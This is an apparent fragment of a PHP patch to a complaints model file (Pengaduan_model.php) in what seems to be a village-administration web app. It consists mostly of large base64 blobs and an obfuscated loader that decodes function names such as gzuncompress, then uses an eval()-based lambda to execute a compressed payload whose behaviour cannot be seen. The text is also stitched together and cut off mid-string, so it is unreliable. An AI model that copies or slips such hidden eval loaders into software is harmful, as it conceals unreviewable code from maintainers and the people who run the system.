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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/Pengaduan_model.php b/donjo-app/models/Pengaduan_model.php index deeb2c640..542d19e25 100644 --- a/donjo-app/models/Pengaduan_model.php +++ b/donjo-app/models/Pengaduan_model.php @@ -248,7 +248,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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